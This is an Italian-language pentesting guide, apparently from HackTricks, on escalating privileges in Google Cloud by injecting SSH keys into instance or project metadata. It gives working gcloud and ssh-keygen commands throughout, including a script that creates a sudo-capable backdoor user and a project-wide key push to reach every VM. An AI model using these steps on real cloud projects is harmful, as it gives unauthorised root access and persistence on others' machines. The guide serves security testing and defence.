# GCP - Aggiungi Metadati SSH Personalizzati

{{#include ../../../../banners/hacktricks-training.md}}

## Modifica dei metadati <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>

La modifica dei metadati su un'istanza potrebbe portare a **significativi rischi per la sicurezza se un attaccante ottiene i permessi necessari**.

### **Incorporazione di Chiavi SSH nei Metadati Personalizzati**

Su GCP, **i sistemi Linux** spesso eseguono script dall'[Ambiente Ospite Linux Python per Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Un componente critico di questo è il [daemon degli account](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), progettato per **controllare regolarmente** l'endpoint dei metadati dell'istanza per **aggiornamenti alle chiavi pubbliche SSH autorizzate**.

Pertanto, se un attaccante può modificare i metadati personalizzati, potrebbe far sì che il daemon trovi una nuova chiave pubblica, che verrà elaborata e **integrata nel sistema locale**. La chiave verrà aggiunta al file `~/.ssh/authorized_keys` di un **utente esistente o potenzialmente creando un nuovo utente con privilegi `sudo`**, a seconda del formato della chiave. E l'attaccante sarà in grado di compromettere l'host.

### **Aggiungi chiave SSH a un utente privilegiato esistente**

1. **Esamina le Chiavi SSH Esistenti sull'Istanze:**

- Esegui il comando per descrivere l'istanza e i suoi metadati per localizzare le chiavi SSH esistenti. La sezione rilevante nell'output sarà sotto `metadata`, specificamente la chiave `ssh-keys`.

```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```

- Fai attenzione al formato delle chiavi SSH: il nome utente precede la chiave, separato da un due punti.

2. **Prepara un File di Testo per i Metadati della Chiave SSH:**
- Salva i dettagli dei nomi utente e delle loro corrispondenti chiavi SSH in un file di testo chiamato `meta.txt`. Questo è essenziale per preservare le chiavi esistenti mentre ne aggiungi di nuove.
3. **Genera una Nuova Chiave SSH per l'Utente Target (`alice` in questo esempio):**

- Usa il comando `ssh-keygen` per generare una nuova chiave SSH, assicurandoti che il campo commento (`-C`) corrisponda al nome utente target.

```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

- Aggiungi la nuova chiave pubblica a `meta.txt`, mimando il formato trovato nei metadati dell'istanza.

4. **Aggiorna i Metadati della Chiave SSH dell'Istanze:**

- Applica i metadati aggiornati della chiave SSH all'istanza utilizzando il comando `gcloud compute instances add-metadata`.

```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

5. **Accedi all'Istanze Utilizzando la Nuova Chiave SSH:**

- Connettiti all'istanza con SSH utilizzando la nuova chiave, accedendo alla shell nel contesto dell'utente target (`alice` in questo esempio).

```bash
ssh -i ./key alice@localhost
sudo id
```

### **Crea un nuovo utente privilegiato e aggiungi una chiave SSH**

Se non viene trovato alcun utente interessante, è possibile crearne uno nuovo a cui verranno dati privilegi `sudo`:
```bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
### Chiavi SSH a livello di progetto <a href="#sshing-around" id="sshing-around"></a>

È possibile ampliare l'accesso SSH a più Macchine Virtuali (VM) in un ambiente cloud **applicando le chiavi SSH a livello di progetto**. Questo approccio consente l'accesso SSH a qualsiasi istanza all'interno del progetto che non ha esplicitamente bloccato le chiavi SSH a livello di progetto. Ecco una guida riassuntiva:

1. **Applica le chiavi SSH a livello di progetto:**

- Usa il comando `gcloud compute project-info add-metadata` per aggiungere le chiavi SSH da `meta.txt` ai metadati del progetto. Questa azione garantisce che le chiavi SSH siano riconosciute in tutte le VM del progetto, a meno che una VM non abbia abilitata l'opzione "Blocca le chiavi SSH a livello di progetto".

```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```

2. **SSH nelle istanze utilizzando chiavi a livello di progetto:**
- Con le chiavi SSH a livello di progetto in atto, puoi SSH in qualsiasi istanza all'interno del progetto. Le istanze che non bloccano le chiavi a livello di progetto accetteranno la chiave SSH, concedendo accesso.
- Un metodo diretto per SSH in un'istanza è utilizzare il comando `gcloud compute ssh [INSTANCE]`. Questo comando utilizza il tuo nome utente attuale e le chiavi SSH impostate a livello di progetto per tentare l'accesso.

## Riferimenti

- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

{{#include ../../../../banners/hacktricks-training.md}}
